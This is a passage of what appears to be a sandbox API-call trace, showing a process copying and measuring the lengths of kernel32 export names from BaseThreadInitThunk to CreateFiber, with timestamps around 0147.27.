[0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0147.274] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0147.274] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0147.274] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0147.274] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0147.274] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0147.274] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0147.274] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0147.274] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0147.274] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0147.274] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0147.274] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0147.274] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0147.274] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0147.275] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0147.275] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0147.275] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0147.275] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0147.275] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0147.275] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0147.275] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0147.275] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0147.275] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0147.275] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0147.275] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0147.275] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0147.275] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0147.275] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0147.275] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0147.275] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0147.275] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0147.275] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0147.276] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0147.276] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0147.276] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0147.276] lstrlenA (lpString="BEEP") returned 4 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0147.276] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0147.276] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0147.276] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0147.276] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0147.276] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0147.276] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0147.276] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0147.276] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0147.276] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0147.276] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0147.276] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0147.276] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0147.277] lstrlenA (lpString="CANCELIO") returned 8 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0147.277] lstrlenA (lpString="CANCELIOEX") returned 10 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0147.277] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0147.277] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0147.277] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0147.277] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0147.277] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0147.277] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0147.277] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0147.277] lstrlenA (lpString="CHECKELEVATION") returned 14 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0147.277] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0147.277] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0147.277] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0147.277] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0147.277] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0147.277] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0147.277] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0147.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0147.278] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0147.278] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0147.278] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0147.278] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0147.278] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0147.278] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0147.278] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0147.278] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0147.278] lstrlenA (lpString="CLOSESTATE") returned 10 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0147.278] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0147.278] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0147.278] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0147.278] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0147.278] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0147.278] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0147.278] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0147.278] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0147.278] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0147.278] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0147.278] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0147.278] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0147.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0147.279] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0147.279] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0147.279] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0147.279] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0147.279] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0147.279] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0147.279] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0147.279] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0147.279] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0147.279] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0147.279] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0147.279] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0147.279] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0147.279] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0147.279] lstrlenA (lpString="COPYCONTEXT") returned 11 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0147.279] lstrlenA (lpString="COPYFILE2") returned 9 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0147.279] lstrlenA (lpString="COPYFILEA") returned 9 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0147.279] lstrlenA (lpString="COPYFILEEXA") returned 11 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0147.279] lstrlenA (lpString="COPYFILEEXW") returned 11 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0147.279] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0147.279] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0147.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0147.279] lstrlenA (lpString="COPYFILEW") returned 9 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0147.280] lstrlenA (lpString="COPYLZFILE") returned 10 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0147.280] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0147.280] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0147.280] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0147.280] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0147.280] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0147.280] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0147.280] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0147.280] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0147.280] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0147.280] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0147.280] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0147.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0147.281] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0147.281] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0147.281] lstrlenA (lpString="CREATEEVENTA") returned 12 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0147.281] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0147.281] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0147.281] lstrlenA (lpString="CREATEEVENTW") returned 12 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0147.281] lstrlenA 